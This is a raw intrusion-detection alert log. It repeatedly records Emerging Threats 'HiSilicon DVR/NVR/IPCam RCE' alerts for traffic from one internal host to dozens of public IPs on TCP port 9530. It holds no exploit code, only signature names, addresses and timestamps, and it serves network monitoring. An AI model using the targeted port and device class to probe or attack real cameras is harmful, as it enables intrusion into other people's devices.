Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.227.106.158

Timestamp:	05/16/24-16:38:50.052092
SID:	2030487
Source Port:	40330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 101.164.141.25

Timestamp:	05/16/24-16:39:14.493200
SID:	2030488
Source Port:	55502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 35.213.196.233

Timestamp:	05/16/24-16:39:12.398790
SID:	2030487
Source Port:	49036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 35.213.196.233

Timestamp:	05/16/24-16:39:12.398790
SID:	2030488
Source Port:	49036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.141.219.182

Timestamp:	05/16/24-16:38:55.176055
SID:	2030488
Source Port:	57910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.124.171.221

Timestamp:	05/16/24-16:38:57.305819
SID:	2030487
Source Port:	38278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.124.171.221

Timestamp:	05/16/24-16:38:57.305819
SID:	2030488
Source Port:	38278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.79.65.217

Timestamp:	05/16/24-16:39:02.766974
SID:	2030487
Source Port:	47246
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.38.212.12

Timestamp:	05/16/24-16:38:59.519982
SID:	2030488
Source Port:	54706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.38.212.12

Timestamp:	05/16/24-16:38:59.519982
SID:	2030487
Source Port:	54706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.2.244.188

Timestamp:	05/16/24-16:39:08.128034
SID:	2030488
Source Port:	35706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.82.60.201

Timestamp:	05/16/24-16:38:57.443755
SID:	2030487
Source Port:	58520
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.82.60.201

Timestamp:	05/16/24-16:38:57.443755
SID:	2030488
Source Port:	58520
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.79.65.217

Timestamp:	05/16/24-16:39:02.766974
SID:	2030488
Source Port:	47246
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.229.17.162

Timestamp:	05/16/24-16:38:50.080370
SID:	2030487
Source Port:	60542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.249.39.104

Timestamp:	05/16/24-16:39:02.726887
SID:	2030487
Source Port:	55386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.229.17.162

Timestamp:	05/16/24-16:38:50.080370
SID:	2030488
Source Port:	60542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.2.244.188

Timestamp:	05/16/24-16:39:08.128034
SID:	2030487
Source Port:	35706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.249.39.104

Timestamp:	05/16/24-16:39:02.726887
SID:	2030488
Source Port:	55386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.204.132.198

Timestamp:	05/16/24-16:38:53.099118
SID:	2030488
Source Port:	60146
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.91.46.50

Timestamp:	05/16/24-16:39:05.700284
SID:	2030488
Source Port:	48640
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.91.46.50

Timestamp:	05/16/24-16:39:05.700284
SID:	2030487
Source Port:	48640
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.204.132.198

Timestamp:	05/16/24-16:38:53.099118
SID:	2030487
Source Port:	60146
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.34.127.160

Timestamp:	05/16/24-16:38:55.175119
SID:	2030488
Source Port:	37282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.34.127.160

Timestamp:	05/16/24-16:38:55.175119
SID:	2030487
Source Port:	37282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.124.86.36

Timestamp:	05/16/24-16:39:16.578993
SID:	2030488
Source Port:	46058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.124.86.36

Timestamp:	05/16/24-16:39:16.578993
SID:	2030487
Source Port:	46058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.67.211.156

Timestamp:	05/16/24-16:39:03.260905
SID:	2030488
Source Port:	60086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 68.38.59.56

Timestamp:	05/16/24-16:38:50.004289
SID:	2030487
Source Port:	41872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 116.83.31.7

Timestamp:	05/16/24-16:38:50.046279
SID:	2030488
Source Port:	34602
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 116.83.31.7

Timestamp:	05/16/24-16:38:50.046279
SID:	2030487
Source Port:	34602
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.244.114.70

Timestamp:	05/16/24-16:38:55.176129
SID:	2030488
Source Port:	45352
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.69.113.101

Timestamp:	05/16/24-16:39:08.146569
SID:	2030487
Source Port:	48328
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.244.114.70

Timestamp:	05/16/24-16:38:55.176129
SID:	2030487
Source Port:	45352
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.38.59.56

Timestamp:	05/16/24-16:38:50.004289
SID:	2030488
Source Port:	41872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.72.163.229

Timestamp:	05/16/24-16:39:08.145175
SID:	2030487
Source Port:	41816
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.67.211.156

Timestamp:	05/16/24-16:39:03.260905
SID:	2030487
Source Port:	60086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.72.163.229

Timestamp:	05/16/24-16:39:08.145175
SID:	2030488
Source Port:	41816
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.46.38.193

Timestamp:	05/16/24-16:39:16.580814
SID:	2030487
Source Port:	33932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.46.38.193

Timestamp:	05/16/24-16:39:16.580814
SID:	2030488
Source Port:	33932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 152.216.69.226

Timestamp:	05/16/24-16:39:05.714865
SID:	2030488
Source Port:	46582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.58.189.212

Timestamp:	05/16/24-16:38:53.094045
SID:	2030488
Source Port:	34022
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 152.216.69.226

Timestamp:	05/16/24-16:39:05.714865
SID:	2030487
Source Port:	46582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.229.61.50

Timestamp:	05/16/24-16:39:08.145365
SID:	2030487
Source Port:	50022
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.229.61.50

Timestamp:	05/16/24-16:39:08.145365
SID:	2030488
Source Port:	50022
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.182.191.91

Timestamp:	05/16/24-16:38:59.586878
SID:	2030487
Source Port:	56268
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.182.191.91

Timestamp:	05/16/24-16:38:59.586878
SID:	2030488
Source Port:	56268
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.58.189.212

Timestamp:	05/16/24-16:38:53.094045
SID:	2030487
Source Port:	34022
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.251.224.2

Timestamp:	05/16/24-16:39:16.613470
SID:	2030488
Source Port:	49502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.251.224.2

Timestamp:	05/16/24-16:39:16.613470
SID:	2030487
Source Port:	49502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.69.113.101

Timestamp:	05/16/24-16:39:08.146569
SID:	2030488
Source Port:	48328
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.226.29.239

Timestamp:	05/16/24-16:39:12.384783
SID:	2030487
Source Port:	60608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.226.29.239

Timestamp:	05/16/24-16:39:12.384783
SID:	2030488
Source Port:	60608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.55.232.190

Timestamp:	05/16/24-16:39:16.580811
SID:	2030488
Source Port:	48006
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.61.179.164

Timestamp:	05/16/24-16:38:50.047733
SID:	2030488
Source Port:	43766
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.55.232.190

Timestamp:	05/16/24-16:39:16.580811
SID:	2030487
Source Port:	48006
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.41.241.42

Timestamp:	05/16/24-16:39:05.704126
SID:	2030488
Source Port:	43596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.41.241.42

Timestamp:	05/16/24-16:39:05.704126
SID:	2030487
Source Port:	43596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.120.114.227

Timestamp:	05/16/24-16:39:05.676829
SID:	2030488
Source Port:	36856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 35.125.32.217

Timestamp:	05/16/24-16:39:14.530334
SID:	2030487
Source Port:	60798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 35.125.32.217

Timestamp:	05/16/24-16:39:14.530334
SID:	2030488
Source Port:	60798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.120.114.227

Timestamp:	05/16/24-16:39:05.676829
SID:	2030487
Source Port:	36856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.195.37.252

Timestamp:	05/16/24-16:39:12.377559
SID:	2030488
Source Port:	33164
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.97.223.30

Timestamp:	05/16/24-16:39:16.600105
SID:	2030488
Source Port:	56256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.197.47.244

Timestamp:	05/16/24-16:39:05.694688
SID:	2030487
Source Port:	36294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.195.37.252

Timestamp:	05/16/24-16:39:12.377559
SID:	2030487
Source Port:	33164
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.97.223.30

Timestamp:	05/16/24-16:39:16.600105
SID:	2030487
Source Port:	56256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.44.15.246

Timestamp:	05/16/24-16:39:05.717222
SID:	2030487
Source Port:	44934
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.44.15.246

Timestamp:	05/16/24-16:39:05.717222
SID:	2030488
Source Port:	44934
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.133.89.148

Timestamp:	05/16/24-16:38:55.174990
SID:	2030488
Source Port:	50212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.59.17.144

Timestamp:	05/16/24-16:38:57.409838
SID:	2030487
Source Port:	54704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.59.17.144

Timestamp:	05/16/24-16:38:57.409838
SID:	2030488
Source Port:	54704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.197.47.244

Timestamp:	05/16/24-16:39:05.694688
SID:	2030488
Source Port:	36294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.133.89.148

Timestamp:	05/16/24-16:38:55.174990
SID:	2030487
Source Port:	50212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.88.37.83

Timestamp:	05/16/24-16:39:02.725512
SID:	2030488
Source Port:	33064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.129.91.71

Timestamp:	05/16/24-16:39:03.281185
SID:	2030487
Source Port:	59116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.115.126.243

Timestamp:	05/16/24-16:38:55.201814
SID:	2030487
Source Port:	52638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.129.91.71

Timestamp:	05/16/24-16:39:03.281185
SID:	2030488
Source Port:	59116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.115.126.243

Timestamp:	05/16/24-16:38:55.201814
SID:	2030488
Source Port:	52638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.88.37.83

Timestamp:	05/16/24-16:39:02.725512
SID:	2030487
Source Port:	33064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.186.132.98

Timestamp:	05/16/24-16:38:55.176056
SID:	2030488
Source Port:	50970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.89.2.230

Timestamp:	05/16/24-16:39:12.378459
SID:	2030488
Source Port:	32808
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.89.2.230

Timestamp:	05/16/24-16:39:12.378459
SID:	2030487
Source Port:	32808
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.186.132.98

Timestamp:	05/16/24-16:38:55.176056
SID:	2030487
Source Port:	50970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.61.179.164

Timestamp:	05/16/24-16:38:50.047733
SID:	2030487
Source Port:	43766
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.95.228.31

Timestamp:	05/16/24-16:39:08.093048
SID:	2030487
Source Port:	42374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.216.151.83

Timestamp:	05/16/24-16:39:05.711696
SID:	2030487
Source Port:	40284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.95.228.31

Timestamp:	05/16/24-16:39:08.093048
SID:	2030488
Source Port:	42374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.216.151.83

Timestamp:	05/16/24-16:39:05.711696
SID:	2030488
Source Port:	40284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.67.159.191

Timestamp:	05/16/24-16:38:55.206799
SID:	2030487
Source Port:	40038
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.67.159.191

Timestamp:	05/16/24-16:38:55.206799
SID:	2030488
Source Port:	40038
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 189.95.171.105

Timestamp:	05/16/24-16:38:50.047742
SID:	2030487
Source Port:	45722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 189.95.171.105

Timestamp:	05/16/24-16:38:50.047742
SID:	2030488
Source Port:	45722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.100.53.197

Timestamp:	05/16/24-16:39:05.677845
SID:	2030488
Source Port:	46952
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.157.68.101

Timestamp:	05/16/24-16:39:02.764183
SID:	2030487
Source Port:	48968
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.145.17.210

Timestamp:	05/16/24-16:38:59.520034
SID:	2030488
Source Port:	33528
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.187.230.246

Timestamp:	05/16/24-16:39:14.532697
SID:	2030488
Source Port:	42340
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.187.230.246

Timestamp:	05/16/24-16:39:14.532697
SID:	2030487
Source Port:	42340
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

